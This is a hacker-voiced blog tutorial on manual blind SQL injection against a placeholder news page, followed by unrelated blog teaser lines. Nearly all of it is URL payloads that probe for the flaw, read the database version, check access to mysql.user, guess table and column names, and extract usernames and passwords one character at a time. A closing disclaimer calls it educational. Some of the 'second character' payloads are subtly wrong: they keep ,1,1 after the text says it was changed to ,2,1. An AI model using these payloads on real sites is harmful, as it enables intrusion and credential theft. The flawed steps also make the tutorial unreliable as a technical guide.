Blind injection is a little more complicated the classic injection but it can be done šĀ
Itās some what hard but good to LearnĀ
1) http://www.site.com/news.php?id=5
when we execute this, we see some page and articles on that page, pictures etcā¦ then when we want to test it for blind sql injection attack
2) http://www.site.com/news.php?id=5 and 1=1
and the page loads normally, thatās ok.now the real test
3) http://www.site.com/news.php?id=5 and 1=2
so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.Hackerās Work Started šĀ
1) Get the MySQL version
to get the version in blind attack we use substringĀ
i.e
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4
this should return TRUE if the version of MySQL is 4.replace 4 with 5, and if query return TRUE then the version is 5.Ā
i.e
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5
2) Test if subselect worksĀ
when select donāt work then we use subselectĀ
i.e
http://www.site.com/news.php?id=5 and (select 1)=1Ā
if page loads normally then subselects work.then we gonna see if we have access to mysql.user
i.e
http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.
3). Check table and column names.This is part when guessing is the best friend for Hacker ā¦
i.e.
http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)
then if the page loads normally without content missing, the table users exits.
if you get FALSE (some article missing), just change table name until you guess the right one š
letās say that we have found that table name is users, now what we need is column name.Ā
the same as table name, we start guessing. Like i said before try the common names for columns.
i.e.
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
if the page loads normally we know that column name is password (if we get false then try common names or just guess)Ā
here we merge 1 with the column password, then substring returns the first character (,1,1)
4). Pull data from database
we found table users i columns username password so we gonna pull characters from that.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
ok this here pulls the first character from first user in table users.Ā
substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value and then compare it with simbol greater then > .
Ā so if the ascii char greater then 80, the page loads normally. (TRUE)
Ā we keep trying until we get false.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95
we get TRUE, keep incrementing
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98
TRUE again, higher
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
FALSE!!!
so the first character in username is char(99). Using the ascii converter we know that char(99) is letter ācā.
then letās check the second character.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
Note that iām changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
TRUE, the page loads normally, higher.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107
FALSE, lower number.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104
TRUE, higher.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105
FALSE!!!
we know that the second character is char(105) and that is āiā. We have āciā so far
Ā so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).
Ā There are some tools for Blind SQL Injection, i think sqlmap is the best, but iām doing everything manually,
Ā cause that makes you better SQL INJECTOR š
NOTE: This is just for Educational Purpose.
As a web designer and web developer your experience must have reached to new height, right? Further, you need to…
In today's digital landscape, timing is everything. Whether you're a social media manager, business owner, or content creator, the success…
Are you a website owner? Maintaining the website is the prime concern for any website owner. Yes, itās equally important…
If youāve planned to launch a WordPress website, you might get a question, āHow do I log in to WordPress?ā…
As the demand for virtual private servers (VPS) continues to grow, businesses and individuals are faced with a crucial decision:…